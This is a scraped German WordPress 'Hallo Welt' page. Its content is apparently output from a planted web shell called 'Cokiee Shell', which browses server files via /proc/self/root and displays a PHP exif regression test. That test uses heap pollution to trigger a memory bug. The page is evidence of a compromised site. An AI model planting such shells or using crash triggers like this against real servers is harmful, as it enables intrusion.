Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/exif/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/exif/tests/bug68799.phpt |
--TEST-- Bug #68799 (Free called on uninitialized pointer) --SKIPIF-- <?php if (!extension_loaded('exif')) print 'skip exif extension not available';?> --FILE-- <?php /* * Pollute the heap. Helps trigger bug. Sometimes not needed. */ class A { function __construct() { $a = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa'; $this->a = $a . $a . $a . $a . $a . $a; } }; function doStuff ($limit) { $a = new A; $b = array(); for ($i = 0; $i < $limit; $i++) { $b[$i] = clone $a; } unset($a); gc_collect_cycles(); } $iterations = 3; doStuff($iterations); doStuff($iterations); gc_collect_cycles(); print_r(exif_read_data(__DIR__.'/bug68799.jpg')); ?> --EXPECTF-- Warning: exif_read_data(bug68799.jpg): Process tag(x9C9D=Author ): Illegal components(%d) in %s on line %d Array ( [FileName] => bug68799.jpg [FileDateTime] => %d [FileSize] => 735 [FileType] => 2 [MimeType] => image/jpeg [SectionsFound] => ANY_TAG, IFD0 [COMPUTED] => Array ( [html] => width="1" height="1" [Height] => 1 [Width] => 1 [IsColor] => 1 [ByteOrderMotorola] => 1 ) [XResolution] => 96/1 [YResolution] => 96/1 [ResolutionUnit] => 2 )
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare